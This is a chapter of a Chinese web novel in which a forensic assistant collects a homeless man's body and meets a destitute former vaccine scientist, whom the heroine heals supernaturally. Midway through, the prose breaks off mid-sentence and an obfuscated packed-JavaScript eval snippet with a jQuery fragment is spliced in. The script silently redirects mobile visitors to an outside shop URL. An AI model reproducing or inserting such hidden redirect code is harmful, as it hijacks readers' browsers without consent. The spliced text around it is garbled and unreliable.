文趣网 > 其他小说 > 穷留子,但他们都跪下吻我 > 34. 与众不同的流浪汉
    厢式货车在流浪者营地旁边停下,邓肯下了车,递给林筱筱一套防护服,自己也开始穿戴起来。

    林筱筱一边穿防护服,一边斟酌着开口:“邓肯,你…后来有没有再见过老约翰?”

    “没有,”邓肯叹了口气,拉紧橡皮手套,“我最后一次见他的时候,他咳得很厉害,我弄不到抗生素,兽药里的抗生素成分太野,我也不敢给他用。”

    他说到这里叹了口气:“不过我决定下午再去找找他,今天阳光不错,他应该会回到侧门那里晒太阳。明天我就把搞到的那袋白色药片交给他,我在网上仔细搜过了,如果按照剂量服用,最多副作用大一些,但是比咳到吐血强太多。我们年轻人还能扛一下,他年龄大了,身体又太弱,我真怕他扛不住。”

    林筱筱张了张嘴,最后还是换了一句话:“你后悔吗?”

    “后悔?”邓肯停下动作,回过头看她,“后悔什么?和那个叫诺姆的打架吗?”

    “我不知道……”邓肯轻轻摇了摇头,陷入了沉默。

    林筱筱看着他落寞的神情,后面的话到底还是说不出口。她无声地叹了口气,拉上了面罩,跟着邓肯走向了营地角落的那个帐篷。

    帐篷外面站着两个警察,还有几个流浪汉,警察已经完成了“无人认领尸体”接警后的流程,只剩下拉走尸体这最后一项工作了。

    帐篷掀开,即便隔着面罩,林筱筱也能感觉到扑面而来的一股恶臭。

    那个“无人认领的尸体”躺在睡袋里,面部朝里,睡袋的拉链已经损坏,身下已经开始渗出液体,如果仔细去看,能看到睡袋上面有白色的细小东西在蠕动,顺着睡袋的边缘钻进钻出,密密麻麻。

    “这具尸体很典型,可以做定蛆推时。”邓肯说着,伸手捻起几条蛆虫放在掌心,伸到林筱筱的面前,用很学术的口吻开始讲解,“现在是夏季,卵孵化最快需?8–14小时,从这些蛆虫的状态来看,它们应该是刚孵化不久,叠加苍蝇产卵的时间,这位死者的死亡时间应该在20-38小时左右。”

    林筱筱有些麻木地看着他:“你这算职业病吗?”

    邓肯扬了下唇角:“你跟我出来,总该让你学到点东西。而且沉浸在学术里,能让我忘掉一些不该记住的事情。”

    他一边说着,一边伸出手,将死者的头扳了过来。

    看清死者容貌的瞬间,邓肯的手猛地顿住了。

    林筱筱叹了口气,无声地闭了闭眼。

    “警官……”邓肯的声音再次响起,颤抖的厉害,“这位死者……他叫什么名字?”

    一直站在帐篷口的警察翻了一下手里的表格:“约翰·埃利斯。”

    “老约翰…怎么会是老约翰…”邓肯的手开始抖,一时间竟然不知道该做什么。

    老约翰的嘴角挂着一道已经干涸的暗色痕迹,眼睛半睁着,浑浊的虹膜反射着帐篷外透进来的阳光,眼皮下和鼻腔、口腔里都有白色蛆虫在不停蠕动。

    邓肯蹲在他面前,低头看着这张每天经过学校侧门时都会看到的脸。

    他终于鼓起勇气伸出手,轻轻阖上了老约翰的眼皮。

    “我…我应该早点去给他弄药的,”邓肯的声音飘忽又沙哑,“我为什么要纠结什么兽药不兽药,什么副作用…我应该早点意识到他需要什么,可是我在做什么?我在跟人打架,还被停学了,他因此得到了什么吗?没有,什么也没有…他就这么死了…我有无数次机会可以帮到他…林,你说,我跟那个画漫画的人有什么区别?我们都是大声喊着,却什么也没做!我们都没有真正帮到他…都没有…”

    林筱筱没有说话。

    她站在帐篷里,看着老约翰在睡袋里蜷缩成胎儿姿势的身体,看着邓肯蹲在地上把脸埋进手掌里肩膀轻轻发抖的样子。

    她张了张嘴,想说你至少为他说话了,你至少让周围人记住了他的名字。

    但这些话在她舌尖上转了一圈又咽了回去。

    这些话语轻得就像扔进大海里的纸屑。在老约翰的死亡面前,它们毫无意义。

    一个戴着脏兮兮口罩的流浪汉站在帐篷门口,他身型瘦削,声音沙哑但语气异常清晰:“他是半夜咳血走的。应该是SARS-CoV-2引起的病毒性肺炎。我们这一片一直有这个病毒在传播,咳嗽就当感冒扛着,没有检测和治疗。他扛了大半个月,甚至开始咳血,别人不再敢靠近这个帐篷,直到彻底安静下来,直到可以确认他已经死了。”

    邓肯转过头看他,这个流浪汉的口罩虽然脏,但佩戴方式很标准,完全覆盖口鼻,金属条在鼻梁上压得严丝合缝。

    他和其他那些不知什么叫防护的流浪汉完全不同。

    “是你报的警?”他问,“你怎么知道这些词?”

    那个流浪汉惨笑了一下,口罩上沿的皱纹把眼睛挤成两条疲惫的弧线:“因为我打过四针疫苗。说出来你们可能不信,这个病毒的疫苗开发团队里,甚至有我的名字。”

    【姓名:维克多·埃文斯。

    身份:前慧睿生物疫苗研发部主管,现为流浪者营地居民。

    年龄:49岁。

    当前资产:-285,000美元(含未偿还学贷及医疗债务)。

    状态:中度营养不良,肋骨曾有两处骨折且未得到妥善治疗,全身多处新旧软组织挫伤。已接种四针SARS-CoV-2疫苗。

    重要事件:在慧睿生物工作十五年,是SARS-CoV-2改良疫苗项目的核心主管。在公司宣布以AI替代研发团队的前一周,被诱骗签署了一份限制性竞业协议,导致无法在同行业其他公司任职。失业后,房屋被银行收回。由于年龄和竞业协议,求职处处碰壁,快餐店和仓库更愿雇佣更年轻的移民,而所有药企都因竞业协议将他拒之门外。在流浪者营地,因身形最为瘦弱且无任何反抗能力,常年被其他流浪汉胁迫充当发现尸体后的“报警人”。每次用此身份拿到的警方线人费或奖励金,都会被其他流浪汉瓜分大半,只给他留下勉强购买食物的零头。他曾试图反抗,被打断了两根肋骨,之后就再也没有反抗过。

    当前想法:今天来的这个年轻人,竟然会因为一个流浪汉的死而难过。

    备注:他的钱包里藏着一张磨损严重的慧睿生物的员工卡。他不是舍不得慧睿生物,只是他需要这张卡来证明自己曾经也是个有价值的人。】

    维克多靠在帐篷支架上,神情有些麻木:“我曾是慧睿生物那个项目的主管。我们的团队开发出了第一批可用的疫苗,项目结束后我以为自己能继续往上走,毕竟我有论文,有专利,有业绩评估表上连续三年的最高分。然后AI爆发了。公司用AI替代了我们这个团队,我们完成了项目,却被裁掉了。其实他们知道AI不能开发新疫苗,但它能写很好看的报告,能让财报上的支出那一栏比往年短一大截,老板很喜欢这样的数据。”

    他说着这些,仿佛已经不在乎还能失去什么:“我还记得收到裁员通知的那天是星期五,之后我生了一场大病,签下还不完的医疗账单,我的房子被银行收走,车子被拍卖。我失业后又遭遇破产,只能流浪,成了无家可归者。”

    他抬起空洞的眼睛:“我曾经坐在世界顶级的生物医药公司实验室里,带领团队攻破一个个技术难题,可我现在却一无所有。哦不,我还有这辈子都还不完的学贷,还有那该死的医疗账单。”

    帐篷里再次安静下来。维克多终于垂下眼,抬手捏了捏脸上的口罩,转身走出了帐篷。

    邓肯看着维克多的背影,久久无言,林筱筱又叹了口气,推了他一把:“邓肯师兄?我们先把老约翰收敛了吧。”

    邓肯这才回过神:“好。”

    林筱筱弯下腰,用手扶住老约翰的头,大概是死亡时间超过了限制,没有任何记忆碎片涌入林筱筱的系统空间。只有即将消散的信息条上,还能勉强看清备注栏里的几行字:

    【他的最后一条社交媒体动态停留在一张侧门长椅的照片。

    配文:“今天太阳很好。”

    点赞数:零。】

    系统弹出一行提示:【任务“收敛老约翰.埃利斯的遗体”已完成,奖励已发放。】

    这个100积分的任务,奖励不多,却是她最不在乎奖励的任务。

    邓肯站起来,把裹尸袋的拉链仔细拉上。他低头在胸口画了个十字,然后和林筱筱一起抬着裹尸袋走出了帐篷。

    维克多·埃文斯靠在帐篷支架上,看着那两个年轻人把老约翰的裹尸袋搬上货车后车厢。

    正午的阳光炙热,他习惯性地往阴影里退了半步。

    他现在涨了记性,知道收尸的时候最好别太显眼。

    他第一次帮警察指认了一具尸体的时候,拿到了一百二十刀线人费,还没捂热就被营地的头儿搜走了大半。理由是“你住在这里就得交保护费”。他试图反抗,结果被打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758407|207597||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    断了两根肋骨,现在一呼吸还会痛。

    邓肯关上后车厢的门,转过身时看到了站在阴影里的维克多。

    这个流浪汉和营地里的其他人不太一样,他又高又瘦,站在那里的姿态中还残留着什么东西,一种被压在最底层但仍然没有完全消失的脊背挺直的惯性。

    “你愿意跟我们一起走吗?”邓肯忽然开口。

    维克多愣了一下。林筱筱也愣了一下。

    但是她很快就明白过来,此时的邓肯看到维克多,多半有种看到同类的感觉。而是老约翰的死让他倍感愧疚,这种无处安放的愧疚被邓肯落在了这个维克多身上。

    维克多脸上却没有显出惊喜,反而显出几分警惕:“你们是想用我拍视频发到网上赚流量吗?不,我告诉你们,我已经被人拍过了,上一个拍我的人说要帮我,结果却想把我的舌头剪掉。”

    灼热的空气仿佛凝固了片刻。

    邓肯张了张嘴,就听维克多继续道:“那是一个搞‘街头纪实’的摄影师,他说要把我的故事拍成纪录片,借此给流浪者发声。他给我买了饭,却不让我洗澡,就用我脏兮兮的样子来拍摄,说这样才最真实。他让我在他工作室睡了三天地板。第四天晚上,我半夜起来上厕所,听到他在阳台上打电话。他说他会把我变成一个‘不会说话的人’,等拍完这几个片段,就给我灌点东西,然后把我的舌头剪掉,这样就不会有人发现我是他雇来的道具,他的纪录片需要这样一张会流血又不会说话的脸。”

    “然后你就逃出来了。”林筱筱问。

    “对。趁他在阳台上打电话,我从窗户翻了出去,我在夜色中跑了很远,然后来到了这里。”维克多抬手挥了挥,示意了一下整个营地,“这里的流浪汉虽然会抢我的钱、逼我睡在最冷的地方、让我去当尸体发现人,但是他们至少不会想剪掉我的舌头。他们是烂人,但起码烂在明处。他们比某些口口声声要‘帮助流浪汉’的人更像人。”

    邓肯没有说话。他的手指在身侧蜷了蜷,最后还是不想放弃:“我不住工作室。”

    “我住的是五百美金一个月的公寓,没有空调,但是有可以洗澡的地方。我不拍纪录片,不卖T恤,不众筹。我只是一个被停学的博士生,能在法医办公室兼职收尸,能养活自己。我的沙发不大,但是比帐篷暖和。我希望能够帮助你,也是……也是帮助我自己。如果你不信,可以去我的公寓看看,看完之后如果还不愿意留下,那你再走也可以。”

    维克多盯着邓肯,他见过太多这样的人,真诚的表情,热情的语气,开出的条件听起来好得不像是真的。

    他们都有一个共同点:最终都会证明自己的善意是有代价的,也有保质期。

    “你说得对,他需要先看到证据。”

    林筱筱突然往前走了一步,站在了维克多面前:“你左边那两根肋骨是在去年冬天被营地的那个大块头儿打断的。当时你在地上趴了很久,以为自己会死,是大块头又转回来,把你拖进了帐篷。后来骨头自己长上了,但是没对齐。现在你每次深呼吸、咳嗽,左侧肋骨都会疼。对不对?”

    维克多的眼睛微微睁大,但他还没来得及说话,林筱筱已经伸出了手,掌心隔着那件脏兮兮的衬衫,按在他左侧肋骨的位置。

    一股温热从掌心渗进皮肤,穿过萎缩的肌肉层,直达那两根错位愈合的肋骨。维克多能感觉到骨头在产生变化,像是有人用一双很轻很稳的手,把那两根弯弯曲曲长回去的骨头重新摆正。

    那股温热扩散开来,沿着肋间神经蔓延到整个胸腔。他下意识深吸了一口气。

    真的不疼了!这是他很久以来第一次深呼吸不疼!

    他低头看着林筱筱的手,眼眶边缘忽然红了起来。

    “你…你知晓这么多,又治愈了我…你是圣使…你是圣使!”维克多的声音在发抖。仿佛对一切超自然存在的敬畏忽然被激活了。

    他已经很久没有祈祷了,在流浪者营地,祈祷是没用的。因为上帝不会在你被抢走最后一条毯子的时候从天而降,圣使也不会,他只会听着祷告,然后宽恕那些抢他东西的人。

    但此刻他的身体里有一股陌生的暖意正在流动,那两根疼了很久的肋骨恢复如初,仿佛从来没有断过。

    林筱筱收回手,没有做过多解释:“你既然认为我是圣使,那你愿意相信我们了吗?”

    “我相信!”维克多泪流满面,用力地点了点头。